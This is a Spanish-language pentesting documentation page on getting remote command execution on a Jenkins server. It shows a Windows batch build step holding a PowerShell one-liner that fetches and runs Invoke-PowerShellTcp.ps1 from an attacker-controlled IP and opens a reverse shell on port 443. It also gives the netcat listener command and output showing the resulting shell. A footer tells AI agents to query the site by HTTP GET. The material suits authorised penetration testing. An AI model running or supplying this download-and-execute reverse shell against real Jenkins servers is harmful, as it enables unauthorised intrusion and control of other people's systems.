# Jenkins

## Explotación

### \[RCE] Ejecución de comandos + Reverse shell

Creación de una tarea dentro de un proyecto con un código que envíe una reverse shell hacia una máquina controlada por el/la atacante que se encuentre a la escucha:

**Dashboard > Project 1 > Configure > Build Triggers > Build Steps > Execute Windows batch command**

```
192.168.1.100 # IP de la máquina de ataque 
443           # Puerto a la escucha en la máquina
```

{% code overflow="wrap" %}

```powershell
powershell iex(iwr -UseBasicParsing http://192.168.1.100/Invoke-PowerShellTcp.ps1); power -Reverse -IPAddress 192.168.1.100 -Port 443
```

{% endcode %}

<figure><img src="/files/9JE4nZAJlI5fimhJB9S7" alt=""><figcaption></figcaption></figure>

En la máquina de ataque se pone el puerto 443 a la escucha:

```powershell
C:\Infra\Tools\netcat\nc64.exe -lvp 443
```

Por otro lado, en la máquina de ataque, se levanta un servidor temporal donde se expondrá el fichero "Invoke-PowerShellTcp.ps1" que se utiliza en el *payload* anterior.

[Misc](/pentesting-en-infraestructuras/misc.md#servidores-temporales)

Después de levantar el servidor temporal y poner el puerto 443 a la escucha, se ejecuta la tarea de Jenkins:

<figure><img src="/files/JbTBqlPoK9b2ZXxAGWon" alt="" width="344"><figcaption></figcaption></figure>

Cuando finalice la ejecución de la tarea, se obtendrá la consola de powershell:

```powershell
listening on [any] 443 ...
192.168.1.112: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.1.100] from (UNKNOWN) [192.168.1.112] 50238: NO_DATA
Windows PowerShell running as user webuser on JKSERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\.jenkins\workspace\Project1>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-aplicaciones-web/tecnologia/jenkins.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
